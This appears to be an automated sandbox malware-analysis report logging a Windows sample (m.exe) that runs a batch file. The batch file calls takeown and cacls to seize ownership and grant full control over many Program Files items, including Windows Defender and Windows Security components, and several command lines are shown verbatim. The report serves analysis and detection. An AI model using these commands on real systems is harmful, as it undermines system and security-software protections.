Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 79	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x1380, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 64	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x120c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 43	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "convertible-suicide-construction.exe"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #152: takeown.exe

0

»

Information	Value
ID	#152
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:36, Reason: Child Process
Unmonitor	End Time: 00:03:46, Reason: Self Terminated
Monitor Duration	00:00:09
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x11a0
Parent PID	0x1124 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1324 0x E10

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #153: takeown.exe

0

»

Information	Value
ID	#153
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:36, Reason: Child Process
Unmonitor	End Time: 00:03:46, Reason: Self Terminated
Monitor Duration	00:00:09
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xef8
Parent PID	0x10cc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1350 0x FF8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #154: takeown.exe

0

»

Information	Value
ID	#154
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:36, Reason: Child Process
Unmonitor	End Time: 00:03:47, Reason: Self Terminated
Monitor Duration	00:00:10
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1340
Parent PID	0xeb4 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F80 0x FA8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #155: cacls.exe

0

»

Information	Value
ID	#155
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:37, Reason: Child Process
Unmonitor	End Time: 00:03:43, Reason: Self Terminated
Monitor Duration	00:00:05
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xedc
Parent PID	0x138c (c:\windows\syswow64\cacls.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 11BC 0x E2C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #156: cacls.exe

0

»

Information	Value
ID	#156
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Security\BrowserCore\manifest.json" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:38, Reason: Child Process
Unmonitor	End Time: 00:03:45, Reason: Self Terminated
Monitor Duration	00:00:06
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xe1c
Parent PID	0xed0 (c:\windows\syswow64\takeown.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x E14 0x B98

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #157: cacls.exe

0

»

Information	Value
ID	#157
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:39, Reason: Child Process
Unmonitor	End Time: 00:03:46, Reason: Self Terminated
Monitor Duration	00:00:07
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xe04
Parent PID	0x13fc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 36C 0x F74

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #158: cacls.exe

0

»

Information	Value
ID	#158
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:41, Reason: Child Process
Unmonitor	End Time: 00:03:51, Reason: Self Terminated
Monitor Duration	00:00:10
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1330
Parent PID	0x13c4 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 113C 0x 137C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #159: cacls.exe

0

»

Information	Value
ID	#159
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\UNP\convertible-suicide-construction.exe" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:43, Reason: Child Process
Unmonitor	End Time: 00:03:53, Reason: Self Terminated
Monitor Duration	00:00:10
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1380
Parent PID	0x1334 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1378 0x 1348

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #160: takeown.exe

0

»

Information	Value
ID	#160
File Name	c:\windows\syswow64\takeown.exe
Command Line	takeown /F "C:\Program Files\rempl\does.exe"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:45, Reason: Child Process
Unmonitor	End Time: 00:03:50, Reason: Self Terminated
Monitor Duration	00:00:05
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x106c
Parent PID	0xe60 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1358 0x F58

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
takeown.exe	0x00870000	0x00880FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #161: dllhost.exe

0

»

Information	Value
ID	#161
File Name	c:\windows\system32\dllhost.exe
Command Line	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:03:46, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:39
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1344
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 368 0x 11F4 0x DB8 0x 112C 0x 10B0 0x FF0 0x FE0 0x 126C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
dllhost.exe	0x7FF6FB010000	0x7FF6FB018FFF	Process Termination	-	64-bit	-			... Region Actions Download Dump

Process #162: cmd.exe

141

0

»

Information	Value
ID	#162
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\WinMail.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:46, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:39

OS Process Information

»

Information	Value
PID	0x910
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F04 0x 15C

Threads

Thread 0xf04

141

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 96, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 63	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x13cc, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
